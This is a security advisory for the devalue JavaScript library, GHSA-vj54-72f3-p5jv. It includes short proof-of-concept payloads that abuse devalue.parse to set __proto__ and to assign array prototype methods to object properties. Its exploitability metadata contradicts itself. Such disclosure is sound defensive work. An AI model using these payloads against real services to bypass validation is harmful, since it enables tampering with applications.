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GHSA-vj54-72f3-p5jv
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1. devalue.parse allows __proto__ to be set
A string passed to devalue.parse could represent an object with a __proto__ property, which would assign a prototype to an object while allowing properties to be overwritten:
class Vector {
constructor(x, y) {
this.x = x;
this.y = y;
}
get magnitude() {
return (this.x ** 2 + this.y ** 2) ** 0.5;
}
}
const payload = `[{"x":1,"y":2,"magnitude":3,"__proto__":4},3,4,"nope",["Vector",5],[6,7],8,9]`;
const vector = devalue.parse(payload, {
Vector: ([x, y]) => new Vector(x, y)
});
console.log("Is vector", vector instanceof Vector); // true
console.log(vector.x) // 3
console.log(vector.y) // 4
console.log(vector.magnitude); // "nope" instead of 5
2. devalue.parse allows array prototype methods to be assigned to object
In a payload constructed with devalue.stringify, values are represented as array indices, where the array contains the 'hydrated' values:
devalue.stringify({ message: 'hello' }); // [{"message":1},"hello"]
devalue.parse does not check that an index is numeric, which means that it could assign an array prototype method to a property instead:
const object = devalue.parse('[{"toString":"push"}]');
object.toString(); // 0
This could be used by a creative attacker to bypass server-side validation.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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